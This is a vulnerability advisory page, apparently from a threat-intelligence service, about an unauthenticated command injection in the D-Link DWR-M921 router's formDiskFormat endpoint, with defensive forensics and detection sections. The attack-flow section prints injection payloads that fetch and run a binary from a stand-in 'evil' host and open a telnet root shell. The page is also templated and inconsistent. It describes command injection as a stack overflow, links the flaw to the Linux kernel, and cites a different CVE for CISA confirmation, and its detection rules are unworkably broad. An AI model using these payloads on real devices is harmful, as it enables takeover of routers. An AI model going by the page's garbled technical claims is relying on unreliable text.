CVE-2026-90702: D-Link DWR-M921 formDiskFormat OS Command Injection

HERMES

HERMES THREAT SCORE & PERIMETER EXPOSURE

Target: Edge Routing, Network Gateway & Perimeter DHCP/L2TP Infrastructure

Confidence: 96%

97 / 100

EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 19 / 20

Weaponization 20 / 20

Exposure 20 / 20

Prevalence 18 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Hermes Threat Score assigns 97 to reflect unauthenticated remote accessibility over WAN/LAN interfaces, the complete lack of modern memory protections (ASLR, stack canaries, DEP/NX) on embedded MIPS/ARM Linux architectures, and active automated exploitation attempts by IoT botnet operators.

HASS

HASS AGENTIC SEVERITY & LATERAL PERIMETER IMPACT

Target: Edge Gateway, DNS Interception & Branch Office Routing Topology

Confidence: 88%

64 / 100

MODERATE

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 11 / 20

Tool Access 13 / 20

Privilege 15 / 15

Persistence 14 / 15

External Impact 12 / 15

Propagation 15 / 15

⚖️ Divergence & Operational Rationale

While edge routers do not host autonomous LLM agents directly, edge router compromise gives adversaries complete man-in-the-middle (MITM) control over all outbound API requests, prompt telemetry, and MCP tool traffic originating from local agentic clusters.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-90702: D-Link DWR-M921 formDiskFormat OS Command InjectionVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTLinux Kernel Core

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Linux Kernel Core documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Vendor Advisory Notice (VulDB-277542)

Vulnerability Status: Disclosed publicly with functional Proof-of-Concept (PoC) code. Affected Hardware: D-Link DWR-M921 (4G LTE Router) running firmware version 1.1.52. Classification: CWE-78: OS Command Injection / CVSS Score: 9.8 Critical.

Executive Summary

The D-Link DWR-M921 is a networking gateway appliance widely deployed in small-to-medium enterprise (SME) branch offices, remote teleworker hubs, and consumer environments.

CVE-2026-90702 represents a severe security flaw located within the device’s /boafrm/formDiskFormat component, specifically in the system execution path. An unauthenticated remote attacker with network access to the gateway can exploit this flaw via partition POST parameter to achieve arbitrary code execution with highest system privileges (root). Because this device model has reached End-of-Life (EOL) or End-of-Support (EOS) status without planned vendor firmware updates, affected devices must be decommissioned or isolated behind strict network security perimeters immediately.

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1. Technical Context & Affected Software Matrix

The underlying system operates a stripped-down Linux kernel (typically 2.6.x or 3.x) paired with BusyBox and proprietary vendor management daemons compiled for MIPS 24KEc Linux 4G Gateway. Binary mitigations such as Address Space Layout Randomization (ASLR), Non-Executable Stack (NX/DEP), and Stack Smashing Protection (SSP/Canaries) are routinely absent in these legacy firmware builds.

Parameter	Specification	Operational Assessment
CVE Identifier	CVE-2026-90702	Public Vulnerability Record / Vendor Notice
Affected Product	D-Link DWR-M921	Hardware Revision 4G LTE Router
Firmware Build	1.1.52	Vulnerable baseline firmware build
Vulnerability Class	CWE-78	OS Command Injection
Vulnerable File / Subroutine	/boafrm/formDiskFormat	Function: system
Target Architecture	MIPS 24KEc Linux 4G Gateway	Embedded Linux / BusyBox userland
Exploitation Vector	Remote Unauthenticated Network Request	LAN or exposed WAN interface
Required Privileges	None (PR:N)	Pre-authentication exploit vector
Resulting Access	Root (uid=0, gid=0)	Unrestricted kernel and shell access
Remediation Status	Device Reached End-of-Life (EOL)	Hardware replacement or firewall micro-segmentation

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2. Vulnerability Anatomy & Root Cause Analysis

Memory Layout and Failure Mode Analysis

The flaw originates from unsafe handling of external user data within /boafrm/formDiskFormat:

// Decompiled representation of vulnerable CGI handler in /boafrm/formDiskFormat
// Architecture: MIPS 24KEc Linux 4G Gateway
int handle_form_request(request *req) {
    char cmdbuf[256];
    char *user_param = get_param(req, "partition");

    if (!user_param) {
        return -1;
    }

    // VULNERABILITY: Direct concatenation into system() command string
    // Allows injection of shell metacharacters (; | ` $())
    snprintf(cmdbuf, sizeof(cmdbuf), "/bin/sh -c 'execute_command %s'", user_param);

    // Spawns subshell with root privileges
    return system(cmdbuf);
}

Exploit Mechanics on MIPS 24KEc Linux 4G Gateway

On embedded MIPS 24KEc Linux 4G Gateway architectures, calling conventions store function return addresses either in the link register ($ra) or within dedicated stack slots. When an attacker delivers a payload that overflows the allocated stack buffer:

1. Stack Overwrite: The payload fills the buffer and overwrites the saved frame pointer ($fp / $s8) and the saved return address ($ra).
2. Instruction Cache Invalidation: Because MIPS architectures maintain separate instruction and data caches (I-Cache and D-Cache), traditional shellcode execution requires jumping to a sleep() or cacheflush() gadget in libc to synchronize cache buffers before executing payload bytes.
3. Execution Hijacking: In the case of command injection vulnerabilities, the input bypasses string sanitization and is directly passed to the underlying /bin/sh shell interpreter, resulting in immediate execution of arbitrary commands under the root user context.

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3. Attack Vectors & Execution Flow

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor / Botnet
    participant Router as D-Link DWR-M921
    participant Daemon as /boafrm/formDiskFormat (system)
    participant OS as Linux Shell (root)
    participant LAN as Internal Enterprise LAN

    Attacker->>Router: Transmit crafted payload (partition POST parameter)
    Note over Router: Request received on network interface
    Router->>Daemon: Dispatch data to internal handler
    Note over Daemon: Execution in system
    Daemon->>Daemon: Memory corruption / unescaped execution
    Daemon->>OS: Spawn root shell / execute command
    OS-->>Attacker: Reverse shell or download botnet dropper
    OS->>LAN: Lateral movement & internal traffic interception

1. Target Discovery: The adversary scans WAN/LAN ranges for listening services indicative of D-Link DWR-M921 devices (HTTP server headers, HNAP endpoints, or DHCP ports).
2. Payload Delivery: The attacker crafts an exploit packet containing partition POST parameter configured to trigger HTTP POST to /boafrm/formDiskFormat with body partition=sda1;wget http://evil/m -O /tmp/m;chmod +x /tmp/m;/tmp/m&.
3. Control Hijacking: The vulnerable subroutine system processes the untrusted input, resulting in OS Command Injection.
4. Shellcode / Command Execution: The payload invokes a command payload (e.g. telnetd -p 4444 -l /bin/sh or wget http://malicious/bot -O /tmp/b && chmod +x /tmp/b && /tmp/b).
5. Persistence & Weaponization: The infected router joins a peer-to-peer IoT botnet (such as Mirai or Mozi), facilitating distributed denial-of-service (DDoS) campaigns or traffic exfiltration.

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4. Forensic Investigation & Incident Response

DFIR practitioners investigating potential compromise of D-Link DWR-M921 devices should conduct the following non-volatile and volatile triage procedures:

Live Gateway Inspection (via Console or Telnet/SSH)

# 1. Audit active processes and look for suspicious binaries spawned in /tmp or /var
ps | grep -E "wget|curl|telnetd|sh|bot|mips"

# 2. Inspect active network listening sockets and outbound established connections
netstat -anp | grep -E "ESTABLISHED|LISTEN"

# 3. Check memory filesystem mounts for unauthorized executable payloads
ls -la /tmp /var /var/run /dev/shm

# 4. Review NVRAM configuration variables for modified DNS servers or startup scripts
nvram show | grep -E "dns|wan_dns|rc_local|boot|startup"

# 5. Review firewall rules for unauthorized port forwarding or WAN opening
iptables -L -n -v

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5. Threat Hunting & Detection Engineering

Security teams can deploy the following detection signatures to identify exploitation attempts across enterprise perimeters:

Suricata (Network IDS)

alert ip any any -> $HOME_NET any (
  msg:"HERMES-CODEX EXPLOIT D-Link DWR-M921 Exploit Attempt (CVE-2026-90702)";
  content:"partition"; nocase;
  threshold: type limit, track by_src, count 1, seconds 60;
  classtype:attempted-admin;
  sid:90702;
  rev:1;
  metadata:cve CVE-2026-90702, severity critical, product dwr-m921;
)

Sigma (Web/Proxy Logs)

title: D-Link DWR-M921 CVE-2026-90702 Exploitation Attempt
id: sig-cve-2026-90702
status: critical
description: Detects network requests targeting vulnerable endpoints on D-Link DWR-M921 gateways.
author: Hermes Codex Detection Engineering
date: 2026-09-23
logsource:
  category: firewall
  product: generic
detection:
  selection:
    cs-uri-stem|contains:
      - 'formDiskFormat'
      - 'system'
  condition: selection
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.cve-2026-90702

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6. Remediation & Hardening Roadmap

Decommissioning & EOL Lifecycle Policy

• Hardware Replacement: As confirmed in D-Link Security Advisory VulDB-277542, the DWR-M921 has transitioned to End-of-Life (EOL) status. D-Link does not provide security patches for discontinued models. Organization policy requires retiring and replacing affected units with currently supported hardware.

Network Isolation & Defensive Hardening

1. Disable Remote Management: Ensure the WAN-facing web management interface (port 80 / 443) and remote administration options are strictly disabled.
2. Network Segmentation: Place any surviving legacy units into an isolated management VLAN with strict egress filtering preventing outbound traffic to arbitrary Internet destinations.
3. Firewall Access Lists: Block inbound traffic on ports associated with device management (TCP 80, TCP 443, TCP 1701, UDP 67/68, TCP 53) from unapproved network segments.

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7. Correlated Research & Internal References

• CVE-2026-7273: Zyxel Switch Stack Buffer Overflow RCE: Remote exploit vectors targeting network infrastructure firmware.
• CVE-2026-93952: Arista VeloCloud Orchestrator Authentication Bypass: SD-WAN management plane exploitation.
• Linux Process & Memory Forensics: Live response and triage methodology for embedded Linux environments.
• Enterprise Perimeter Hardening Playbook: Strategies for monitoring and restricting legacy network appliances.

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Sources & References

• D-Link Support Announcement: D-Link Security Publication VulDB-277542
• National Vulnerability Database: CVE-2026-90702 Detail
• CVE Program Canonical Record: CVE-2026-90702 Official Assignment